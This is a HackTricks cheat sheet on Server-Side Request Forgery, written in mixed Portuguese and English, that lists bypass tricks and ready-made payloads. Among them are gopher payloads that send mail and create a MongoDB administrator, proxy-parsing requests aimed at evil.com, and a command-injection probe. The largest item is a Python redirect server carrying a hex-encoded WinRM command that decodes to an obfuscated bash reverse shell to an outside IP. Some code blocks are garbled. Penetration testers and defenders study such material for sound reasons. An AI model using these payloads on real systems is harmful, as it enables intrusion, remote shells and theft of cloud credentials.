SSRF (Server Side Request Forgery)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

Uma vulnerabilidade de Server-side Request Forgery (SSRF) ocorre quando um atacante manipula uma aplicação do lado servidor para fazer requisições HTTP a um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a solicitações externas arbitrárias dirigidas pelo atacante.

Capturar SSRF

A primeira coisa que você precisa fazer é capturar uma interação SSRF gerada por você. Para capturar uma interação HTTP ou DNS, você pode usar ferramentas como:

Whitelisted Domains Bypass

Usually you will find that the SSRF is only working in certain whitelisted domains or URL. In the following page you have a compilation of techniques to try to bypass that whitelist:

URL Format Bypass

Bypass via open redirect

If the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource.
Read more here: https://portswigger.net/web-security/ssrf

Protocolos

  • file://
  • O esquema de URL file:// é citado, apontando diretamente para /etc/passwd: file:///etc/passwd
  • dict://
  • O esquema de URL DICT é descrito como utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo ilustra uma URL construída apontando para uma palavra específica, base de dados e número de entrada, bem como um caso de um script PHP sendo potencialmente usado para conectar a um servidor DICT usando credenciais fornecidas pelo atacante: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identificado como protocolo para transferência segura de arquivos sobre secure shell, um exemplo mostra como um script PHP poderia ser explorado para conectar a um servidor SFTP malicioso: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol, operando sobre UDP, é mencionado com um exemplo de um script PHP projetado para enviar uma requisição a um servidor TFTP. Uma requisição TFTP é feita para ‘generic.com’ na porta ‘12346’ pelo arquivo ‘TESTUDPPACKET’: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Este segmento cobre o Lightweight Directory Access Protocol, enfatizando seu uso para gerenciar e acessar serviços de informação de diretório distribuídos sobre redes IP. Interaja com um servidor LDAP em localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Um método é descrito para explorar vulnerabilidades SSRF para interagir com serviços SMTP em localhost, incluindo passos para revelar nomes de domínio internos e ações investigativas adicionais baseadas nessa informação.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Se o SSRF for executado por curl, o curl tem um recurso chamado URL globbing que pode ser útil para bypass WAFs. Por exemplo, neste writeup você pode encontrar este exemplo para um path traversal via file protocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Discute-se a capacidade do protocolo Gopher de especificar IP, porta e bytes para comunicação com o servidor, além de ferramentas como Gopherus e remote-method-guesser para criar payloads. Dois usos distintos são ilustrados:

Gopher://

Usando este protocolo você pode especificar os IP, port e bytes que você quer que o servidor send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first).
Felizmente, você pode usar Gopherus para criar payloads para vários serviços. Additionally, remote-method-guesser pode ser usado para criar gopher payloads para Java RMI services.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect para 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – Criar usuário com username=admin, password=admin123 e permissão=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF via Referrer header & Outros

Software de analytics em servidores frequentemente registra o Referrer header para rastrear links de entrada, uma prática que expõe inadvertidamente aplicações a vulnerabilidades de Server-Side Request Forgery (SSRF). Isso ocorre porque esse software pode visitar URLs externas mencionadas no Referrer header para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, recomenda-se o plugin do Burp Suite “Collaborator Everywhere”, aproveitando a forma como as ferramentas de analytics processam o Referer header para identificar potenciais superfícies de ataque SSRF.

SSRF via SNI: dados do certificado

Uma má configuração que poderia permitir a conexão a qualquer backend através de uma configuração simples é ilustrada com um exemplo de configuração do Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Nessa configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como o endereço do backend. Essa configuração expõe uma vulnerabilidade a Server-Side Request Forgery (SSRF), que pode ser explorada simplesmente especificando o endereço IP ou nome de domínio desejado no campo SNI. Abaixo segue um exemplo de exploração para forçar uma conexão a um backend arbitrário, como internal.host.com, usando o comando openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF via TLS AIA CA Issuers (Java mTLS)

Some TLS stacks will auto-download missing intermediate CAs using the Authority Information Access (AIA) → CA Issuers URI inside the peer certificate. In Java, enabling -Dcom.sun.security.enableAIAcaIssuers=true while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate during the handshake, before any HTTP logic runs.

  • Requisitos: mTLS habilitado, busca de AIA do Java habilitada, atacante pode apresentar um certificado cliente com um URI AIA CA Issuers forjado.
  • Disparo de SSRF (Java 21 example):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

The Java certpath debug output shows CertStore URI:http://localhost:8080, and nc captures the HTTP request with the controllable User-Agent from -Dhttp.agent, proving SSRF during certificate validation.

  • DoS via file://: setting AIA CA Issuers to file:///dev/urandom on Unix-like hosts makes Java treat it as a CertStore and read unbounded random bytes, keeping a CPU core busy and blocking subsequent connections even after the client disconnects.

SSRF via CSS Pre-Processors

LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful @import directive. During compilation the LESS engine will fetch the resources referenced in @import statements and embed (“inline”) their contents into the resulting CSS when the (inline) option is used.

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF with Command Injection

Pode valer a pena tentar um payload como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs Rendering

Se a página web estiver automaticamente criando um PDF com alguma informação que você forneceu, você pode inserir algum JS que será executado pelo criador do PDF em si (o servidor) enquanto o PDF é gerado e assim poderá abusar de um SSRF. Find more information here.

From SSRF to DoS

Crie várias sessões e tente baixar arquivos pesados explorando o SSRF a partir das sessões.

SSRF PHP Functions

Confira a página a seguir para funções PHP vulneráveis e até funções do Wordpress:

PHP SSRF

SSRF Redirect to Gopher

Para algumas explorações você pode precisar enviar uma resposta de redirecionamento (potencialmente para usar um protocolo diferente como gopher). Aqui você tem diferentes python códigos para responder com um redirect:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Proxies mal configurados para SSRF

Truques from this post.

Flask

Código de proxy vulnerável do Flask ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask permite usar **`@`** como caractere inicial, o que permite transformar o **nome do host inicial em username** e injetar um novo. Requisição de ataque:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Código vulnerável:

Foi descoberto que é possível iniciar o path de uma request com o caractere ;, o que permite então usar @ e injetar um novo host para acessar. Requisição de ataque:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Servidor web embutido do PHP

Código PHP vulnerável ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP permite o uso do **caractere `*` antes de uma barra no path** da URL; no entanto, ele tem outras limitações, como o fato de só poder ser usado para o pathname raiz `/` e de que pontos `.` não são permitidos antes da primeira barra; por isso é necessário usar, por exemplo, um endereço IP codificado em hex sem pontos:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Se você estiver tendo problemas para exfiltrar conteúdo de um IP local por causa do CORS/SOP, DNS Rebidding pode ser usado para contornar essa limitação:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin é uma ferramenta para executar ataques de DNS rebinding. Ela inclui os componentes necessários para reatribuir o endereço IP do nome DNS do atacante para o IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.

Confira também o servidor público em http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Requisitos:

  • SSRF
  • Outbound TLS sessions
  • Serviços em portas locais

Ataque:

  1. Peça ao usuário/bot para acessar um domínio controlado pelo atacante.
  2. O TTL do DNS é 0 seg (assim a vítima verificará o IP do domínio novamente em breve).
  3. Uma conexão TLS é criada entre a vítima e o domínio do atacante. O atacante insere o payload dentro do Session ID ou Session Ticket.
  4. O domínio iniciará um loop infinito de redirects contra ele mesmo. O objetivo é fazer o usuário/bot acessar o domínio até que ele faça novamente uma requisição DNS do domínio.
  5. Na requisição DNS é agora fornecido um IP privado (por exemplo 127.0.0.1).
  6. O usuário/bot tentará restabelecer a conexão TLS e, para isso, enviará o Session ID/Ticket (onde o payload do atacante foi contido). Parabéns — você conseguiu fazer o usuário/bot atacar a si mesmo.

Note que durante esse ataque, se você quiser atacar localhost:11211 (memcache) você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (a porta deve ser sempre a mesma).
Para realizar este ataque você pode usar a ferramenta: https://github.com/jmdx/TLS-poison/
Para mais informações veja a palestra onde esse ataque é explicado: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

A diferença entre uma blind SSRF e uma SSRF não- blind é que na blind você não consegue ver a resposta da requisição SSRF. Portanto, é mais difícil de explorar porque você só poderá explorar vulnerabilidades bem conhecidas.

Time based SSRF

Verificando o tempo das respostas do servidor pode ser possível saber se um recurso existe ou não (talvez demore mais para acessar um recurso existente do que para acessar um que não existe).

From blid to full abusing status codes

De acordo com este blog post, algumas blind SSRF podem acontecer porque, mesmo que a URL alvo responda com um código de status 200 (como os metadados da AWS), esses dados não estão formatados corretamente e, portanto, a aplicação pode recusar mostrá-los.

Entretanto, foi descoberto que enviando respostas de redirect de 305 a 309 na SSRF pode ser possível fazer com que a aplicação siga esses redirects enquanto entra em um modo de erro que deixa de verificar o formato dos dados e pode simplesmente imprimi-los.

O servidor python usado para explorar isso é o seguinte:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Passos:

  • Primeiro 302 faz a aplicação começar a seguir redirecionamentos.
  • Depois ela recebe 305 → 306 → 307 → 308 → 309 → 310.
  • Depois do 5º código estranho o PoC finalmente retorna 302 → 169.254.169.254 → 200 OK.

O que acontece dentro do alvo:

  • O próprio libcurl segue 305–310; ele apenas normaliza códigos desconhecidos para “follow.”
  • Depois de N redirects estranhos (≥ 5 aqui) o wrapper da própria aplicação decide “algo está off” e muda para um modo de erro destinado à depuração.
  • Nesse modo ele despeja toda a cadeia de redirecionamentos mais o corpo final de volta para o chamador externo.
  • Resultado: o atacante vê todos os cabeçalhos + o JSON de metadados, missão cumprida.

Observe que isto é interessante para leak códigos de status que você não conseguia leak antes (como um 200). No entanto, se por algum motivo você também pudesse selecionar o código de status da resposta (imagine que você possa decidir que o AWS metadata responda com um código de status 500), poderia haver alguns códigos de status que leak diretamente o conteúdo da resposta.

HTML-to-PDF renderizadores como gadgets SSRF cegos

Bibliotecas como TCPDF (e wrappers como spipu/html2pdf) irão automaticamente buscar qualquer URL presente em HTML controlado pelo atacante enquanto renderizam um PDF. Cada atributo <img> ou <link rel="stylesheet"> é resolvido no servidor via cURL, getimagesize(), ou file_get_contents(), então você pode direcionar o processo de geração de PDF para sondar hosts internos mesmo que nenhuma resposta HTTP seja refletida para você.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 faz várias tentativas de recuperação para cada <img> resource, então um único payload pode gerar múltiplas requisições (útil para timing-based port scans).
  • html2pdf copia o comportamento do TCPDF para <img> e adiciona fetch de CSS dentro de Css::extractStyle(), que simplesmente chama file_get_contents($href) após uma verificação superficial do esquema. Abuse disso para atingir serviços loopback, ranges RFC1918, ou cloud metadata endpoints.
  • Combine este primitivo SSRF com os HTML-to-PDF path traversal tricks para leak tanto respostas HTTP internas quanto arquivos locais renderizados no PDF.

Quem faz hardening deve remover URLs externas antes da renderização ou isolar o renderer em um sandbox de rede; até lá, trate geradores de PDF como proxies SSRF cegos.

Exploração de SSRF em Cloud

Se você encontrar uma vulnerabilidade SSRF em uma máquina rodando dentro de um ambiente cloud, pode ser possível obter informações interessantes sobre o ambiente cloud e até credenciais:

Cloud SSRF

Plataformas vulneráveis a SSRF

Várias plataformas conhecidas contêm ou já contiveram vulnerabilidades SSRF, verifique-as em:

SSRF Vulnerable Platforms

Tools

SSRFMap

Tool para detectar e explorar vulnerabilidades SSRF

Gopherus

Esta ferramenta gera Gopher payloads para:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser é um scanner de vulnerabilidades Java RMI que suporta operações de ataque para as vulnerabilidades Java RMI mais comuns. A maioria das operações disponíveis suporta a opção --ssrf, para gerar um payload SSRF para a operação solicitada. Juntamente com a opção --gopher, payloads gopher prontos para uso podem ser gerados diretamente.

SSRF Proxy

SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para tunelar o tráfego HTTP de clientes através de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).

Para praticar

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks